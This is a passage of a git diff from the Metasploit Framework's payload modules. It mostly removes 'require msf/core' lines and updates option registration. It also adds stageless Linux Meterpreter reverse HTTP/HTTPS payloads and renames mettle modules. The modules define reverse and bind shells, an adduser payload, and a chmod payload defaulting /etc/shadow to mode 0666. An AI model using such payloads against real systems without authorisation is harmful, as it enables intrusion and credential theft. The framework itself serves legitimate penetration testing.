MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec end end diff --git a/modules/payloads/singles/linux/x64/shell_bind_tcp.rb b/modules/payloads/singles/linux/x64/shell_bind_tcp.rb index c0dcd1f140..9182d2d539 100644 --- a/modules/payloads/singles/linux/x64/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/x64/shell_bind_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb b/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb index f820285c4f..a68ae099a3 100644 --- a/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb +++ b/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - module MetasploitModule CachedSize = 57 diff --git a/modules/payloads/singles/linux/x64/shell_find_port.rb b/modules/payloads/singles/linux/x64/shell_find_port.rb index 906764fcb2..d843580784 100644 --- a/modules/payloads/singles/linux/x64/shell_find_port.rb +++ b/modules/payloads/singles/linux/x64/shell_find_port.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/find_port' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb b/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb index 3ac4ef593b..d4a9fe4eac 100644 --- a/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/linux/x86/adduser.rb b/modules/payloads/singles/linux/x86/adduser.rb index 2a82a0d458..2b3cf4721e 100644 --- a/modules/payloads/singles/linux/x86/adduser.rb +++ b/modules/payloads/singles/linux/x86/adduser.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - ### # @@ -38,7 +36,7 @@ module MetasploitModule OptString.new('USER', [ true, "The username to create", "metasploit" ]), OptString.new('PASS', [ true, "The password for this user", "metasploit" ]), OptString.new('SHELL', [ false, "The shell for this user", "/bin/sh" ]), - ], self.class) + ]) end # diff --git a/modules/payloads/singles/linux/x86/chmod.rb b/modules/payloads/singles/linux/x86/chmod.rb index b2cf018252..d903bdabc5 100644 --- a/modules/payloads/singles/linux/x86/chmod.rb +++ b/modules/payloads/singles/linux/x86/chmod.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - ### # Linux Chmod(file, mode) # @@ -30,7 +28,7 @@ module MetasploitModule [ OptString.new('FILE', [ true, "Filename to chmod", "/etc/shadow" ]), OptString.new('MODE', [ true, "File mode (octal)", "0666" ]), - ], self.class) + ]) end # Dynamically generates chmod(FILE, MODE) + exit() diff --git a/modules/payloads/singles/linux/x86/exec.rb b/modules/payloads/singles/linux/x86/exec.rb index d4a12e8d2a..9cc4413820 100644 --- a/modules/payloads/singles/linux/x86/exec.rb +++ b/modules/payloads/singles/linux/x86/exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - ### # # Exec @@ -33,7 +31,7 @@ module MetasploitModule register_options( [ OptString.new('CMD', [ true, "The command string to execute" ]), - ], self.class) + ]) end # diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb new file mode 100644 index 0000000000..67da838251 --- /dev/null +++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_http' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_x86_linux' + +module MetasploitModule + + CachedSize = 743740 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_x86_Linux + ) + ) + end + + def generate + opts = {scheme: 'http'} + MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb new file mode 100644 index 0000000000..baef1d8db0 --- /dev/null +++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_https' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_x86_linux' + +module MetasploitModule + + CachedSize = 743740 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_x86_Linux + ) + ) + end + + def generate + opts = {scheme: 'https'} + MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/linux/x86/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb similarity index 63% rename from modules/payloads/singles/linux/x86/mettle_reverse_tcp.rb rename to modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb index a419ab029f..96a94d4fb1 100644 --- a/modules/payloads/singles/linux/x86/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb @@ -3,15 +3,14 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/meterpreter_options' require 'msf/base/sessions/mettle_config' -require 'msf/base/sessions/meterpreter_x86_mettle_linux' +require 'msf/base/sessions/meterpreter_x86_linux' module MetasploitModule - CachedSize = 739644 + CachedSize = 743740 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions @@ -21,21 +20,23 @@ module MetasploitModule super( update_info( info, - 'Name' => 'Linux Meterpreter', - 'Description' => 'Run the mettle server payload (stageless)', + 'Name' => 'Linux Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', 'Author' => [ - 'Adam Cammack ' + 'Adam Cammack ', + 'Brent Cook ' ], 'Platform' => 'linux', 'Arch' => ARCH_X86, 'License' => MSF_LICENSE, 'Handler' => Msf::Handler::ReverseTcp, - 'Session' => Msf::Sessions::Meterpreter_x86_Mettle_Linux + 'Session' => Msf::Sessions::Meterpreter_x86_Linux ) ) end def generate - MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config).to_binary :exec + opts = {scheme: 'tcp'} + MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec end end diff --git a/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb b/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb index 9f1f1f351f..b279966dbc 100644 --- a/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb +++ b/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/meterpreter_x86_linux' require 'msf/base/sessions/meterpreter_options' diff --git a/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb b/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb index 8cb0c265f1..e4af8ca47f 100644 --- a/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/meterpreter_x86_linux' require 'msf/base/sessions/meterpreter_options' diff --git a/modules/payloads/singles/linux/x86/read_file.rb b/modules/payloads/singles/linux/x86/read_file.rb index e51b91f598..760296fcc7 100644 --- a/modules/payloads/singles/linux/x86/read_file.rb +++ b/modules/payloads/singles/linux/x86/read_file.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - module MetasploitModule CachedSize = 63 @@ -27,7 +25,7 @@ module MetasploitModule [ OptString.new('PATH', [ true, "The file path to read" ]), OptString.new('FD', [ true, "The file descriptor to write output to", 1 ]), - ], self.class) + ]) end def generate_stage(opts={}) diff --git a/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb b/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb index 135d77a7d8..1546b9ccdc 100644 --- a/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb +++ b/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/linux/x86/shell_bind_tcp.rb b/modules/payloads/singles/linux/x86/shell_bind_tcp.rb index c50a672018..907c659cf4 100644 --- a/modules/payloads/singles/linux/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/x86/shell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb b/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb index e5e2a7f3f9..47206af55d 100644 --- a/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb +++ b/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - module MetasploitModule CachedSize = 57 diff --git a/modules/payloads/singles/linux/x86/shell_find_port.rb b/modules/payloads/singles/linux/x86/shell_find_port.rb index f76634a2ff..1b98c9d259 100644 --- a/modules/payloads/singles/linux/x86/shell_find_port.rb +++ b/modules/payloads/singles/linux/x86/shell_find_port.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/find_port' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/linux/x86/shell_find_tag.rb b/modules/payloads/singles/linux/x86/shell_find_tag.rb index 3d2e84af78..cac0120ad2 100644 --- a/modules/payloads/singles/linux/x86/shell_find_tag.rb +++ b/modules/payloads/singles/linux/x86/shell_find_tag.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/find_tag' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb b/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb index 3e888459dc..3c0b1c45ed 100644 --- a/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb new file mode 100644 index 0000000000..7ffff62493 --- /dev/null +++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_http' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_zarch_linux' + +module MetasploitModule + + CachedSize = 864376 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_ZARCH, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_zarch_Linux + ) + ) + end + + def generate + opts = {scheme: 'http'} + MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb new file mode 100644 index 0000000000..24fccb538f --- /dev/null +++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_https' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_zarch_linux' + +module MetasploitModule + + CachedSize = 864376 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_ZARCH, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_zarch_Linux + ) + ) + end + + def generate + opts = {scheme: 'https'} + MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/linux/zarch/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb similarity index 73% rename from modules/payloads/singles/linux/zarch/mettle_reverse_tcp.rb rename to modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb index 8c4bfc4b74..ae3216eee1 100644 --- a/modules/payloads/singles/linux/zarch/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/meterpreter_options' require 'msf/base/sessions/mettle_config' @@ -11,7 +10,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux' module MetasploitModule - CachedSize = 864336 + CachedSize = 864376 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions @@ -21,10 +20,11 @@ module MetasploitModule super( update_info( info, - 'Name' => 'Linux Meterpreter', - 'Description' => 'Run the mettle server payload (stageless)', + 'Name' => 'Linux Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', 'Author' => [ - 'Adam Cammack ' + 'Adam Cammack ', + 'Brent Cook ' ], 'Platform' => 'linux', 'Arch' => ARCH_ZARCH, @@ -36,6 +36,7 @@ module MetasploitModule end def generate - MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config).to_binary :exec + opts = {scheme: 'tcp'} + MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec end end diff --git a/modules/payloads/singles/mainframe/shell_reverse_tcp.rb b/modules/payloads/singles/mainframe/shell_reverse_tcp.rb index a205520d27..e1e0dcc2ad 100644 --- a/modules/payloads/singles/mainframe/shell_reverse_tcp.rb +++ b/modules/payloads/singles/mainframe/shell_reverse_tcp.rb @@ -7,7 +7,6 @@ # ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/mainframe_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/nodejs/shell_bind_tcp.rb b/modules/payloads/singles/nodejs/shell_bind_tcp.rb index 678f5b9742..f5fefa661d 100644 --- a/modules/payloads/singles/nodejs/shell_bind_tcp.rb +++ b/modules/payloads/singles/nodejs/shell_bind_tcp.rb @@ -7,7 +7,6 @@ # differ so greatly when it comes to require() paths for net modules, we will # settle for just getting shells on nodejs. -require 'msf/core' require 'msf/core/payload/nodejs' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' diff --git a/modules/payloads/singles/nodejs/shell_reverse_tcp.rb b/modules/payloads/singles/nodejs/shell_reverse_tcp.rb index 7e4b4c4da1..6d1d448787 100644 --- a/modules/payloads/singles/nodejs/shell_reverse_tcp.rb +++ b/modules/payloads/singles/nodejs/shell_reverse_tcp.rb @@ -7,7 +7,6 @@ # differ so greatly when it comes to require() paths for net modules, we will # settle for just getting shells on nodejs. -require 'msf/core' require 'msf/core/payload/nodejs' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' diff --git a/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb index b882a0d084..607fdd5556 100644 --- a/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/nodejs' require 'msf/core/handler/reverse_tcp_ssl' require 'msf/base/sessions/command_shell' diff --git a/modules/payloads/singles/osx/armle/shell_bind_tcp.rb b/modules/payloads/singles/osx/armle/shell_bind_tcp.rb index 8df43d658b..a60604a5e6 100644 --- a/modules/payloads/singles/osx/armle/shell_bind_tcp.rb +++ b/modules/payloads/singles/osx/armle/shell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb b/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb index 408b2e1fd2..d2e1bef833 100644 --- a/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/osx/armle/vibrate.rb b/modules/payloads/singles/osx/armle/vibrate.rb index c5457a8d6d..fc956b95ff 100644 --- a/modules/payloads/singles/osx/armle/vibrate.rb +++ b/modules/payloads/singles/osx/armle/vibrate.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - module MetasploitModule diff --git a/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb b/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb index d19475a5f0..746d25b74d 100644 --- a/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb +++ b/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb b/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb index 93b6fd73c9..69340f6695 100644 --- a/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/osx/x64/exec.rb b/modules/payloads/singles/osx/x64/exec.rb index ff4bf88638..c2cb3b5a05 100644 --- a/modules/payloads/singles/osx/x64/exec.rb +++ b/modules/payloads/singles/osx/x64/exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - module MetasploitModule CachedSize = 31 @@ -26,7 +24,7 @@ module MetasploitModule # exec payload options register_options([ OptString.new('CMD', [ true, "The command string to execute" ]) - ], self.class) + ]) end # build the shellcode payload dynamically based on the user-provided CMD diff --git a/modules/payloads/singles/osx/x64/say.rb b/modules/payloads/singles/osx/x64/say.rb index 0435c7383a..5454b25f1b 100644 --- a/modules/payloads/singles/osx/x64/say.rb +++ b/modules/payloads/singles/osx/x64/say.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - module MetasploitModule CachedSize = 53 @@ -26,7 +24,7 @@ module MetasploitModule register_options( [ OptString.new('TEXT', [ true, "The text to say", "Hello\!"]), - ], self.class) + ]) end # build the shellcode payload dynamically based on the user-provided CMD diff --git a/modules/payloads/singles/osx/x64/shell_bind_tcp.rb b/modules/payloads/singles/osx/x64/shell_bind_tcp.rb index 8ccca6748a..77aedb4964 100644 --- a/modules/payloads/singles/osx/x64/shell_bind_tcp.rb +++ b/modules/payloads/singles/osx/x64/shell_bind_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/bind_tcp' module MetasploitModule @@ -32,7 +31,7 @@ module MetasploitModule [ OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]), Opt::LPORT(4444) - ], self.class) + ]) end # build the shellcode payload dynamically based on the user-provided CMD diff --git a/modules/payloads/singles/osx/x64/shell_find_tag.rb b/modules/payloads/singles/osx/x64/shell_find_tag.rb index c50fa5fd16..2bc811876c 100644 --- a/modules/payloads/singles/osx/x64/shell_find_tag.rb +++ b/modules/payloads/singles/osx/x64/shell_find_tag.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/find_tag' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -33,7 +32,7 @@ module MetasploitModule [ OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]), OptString.new('TAG', [ true, "The tag to test for", "NEMO" ]), - ], self.class) + ]) end # diff --git a/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb b/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb index a6395b30ee..7a07596979 100644 --- a/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' module MetasploitModule @@ -34,7 +33,7 @@ module MetasploitModule OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]), Opt::LHOST, Opt::LPORT(4444) - ], self.class) + ]) end # build the shellcode payload dynamically based on the user-provided CMD diff --git a/modules/payloads/singles/osx/x86/exec.rb b/modules/payloads/singles/osx/x86/exec.rb index 65a42cb5bd..0d84c22c88 100644 --- a/modules/payloads/singles/osx/x86/exec.rb +++ b/modules/payloads/singles/osx/x86/exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - ### # # Exec @@ -38,7 +36,7 @@ module MetasploitModule register_options([ OptString.new('CMD', [ true, "The command string to execute" ]), - ], self.class) + ]) end # diff --git a/modules/payloads/singles/osx/x86/shell_bind_tcp.rb b/modules/payloads/singles/osx/x86/shell_bind_tcp.rb index 3cdd12ad3e..81571831eb 100644 --- a/modules/payloads/singles/osx/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/osx/x86/shell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/osx/x86/shell_find_port.rb b/modules/payloads/singles/osx/x86/shell_find_port.rb index 2304a33ea8..ed99ca0b59 100644 --- a/modules/payloads/singles/osx/x86/shell_find_port.rb +++ b/modules/payloads/singles/osx/x86/shell_find_port.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/find_port' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb b/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb index d8a4057d56..0931dfb029 100644 --- a/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb b/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb index c85f1efd8e..fda58e0fcf 100644 --- a/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb +++ b/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb b/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb index 403ee15239..3624000c9e 100644 --- a/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/php/bind_perl.rb b/modules/payloads/singles/php/bind_perl.rb index f7009ff787..5889c06dff 100644 --- a/modules/payloads/singles/php/bind_perl.rb +++ b/modules/payloads/singles/php/bind_perl.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/php/bind_perl_ipv6.rb b/modules/payloads/singles/php/bind_perl_ipv6.rb index 63402cbd52..1459ac4a8b 100644 --- a/modules/payloads/singles/php/bind_perl_ipv6.rb +++ b/modules/payloads/singles/php/bind_perl_ipv6.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/php/bind_php.rb b/modules/payloads/singles/php/bind_php.rb index 3627d41cbf..7b56cebcb3 100644 --- a/modules/payloads/singles/php/bind_php.rb +++ b/modules/payloads/singles/php/bind_php.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/php' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' diff --git a/modules/payloads/singles/php/bind_php_ipv6.rb b/modules/payloads/singles/php/bind_php_ipv6.rb index 5507578205..a049f1da76 100644 --- a/modules/payloads/singles/php/bind_php_ipv6.rb +++ b/modules/payloads/singles/php/bind_php_ipv6.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/php' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' diff --git a/modules/payloads/singles/php/download_exec.rb b/modules/payloads/singles/php/download_exec.rb index 0dd7fecec6..b0c5a9004e 100644 --- a/modules/payloads/singles/php/download_exec.rb +++ b/modules/payloads/singles/php/download_exec.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/payload/php' @@ -33,7 +32,7 @@ module MetasploitModule register_options( [ OptString.new('URL', [ true, "The pre-encoded URL to the executable" ]) - ], self.class) + ]) end def php_exec_file diff --git a/modules/payloads/singles/php/exec.rb b/modules/payloads/singles/php/exec.rb index b6872d7aa1..466b4827a3 100644 --- a/modules/payloads/singles/php/exec.rb +++ b/modules/payloads/singles/php/exec.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/payload/php' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' @@ -29,7 +28,7 @@ module MetasploitModule register_options( [ OptString.new('CMD', 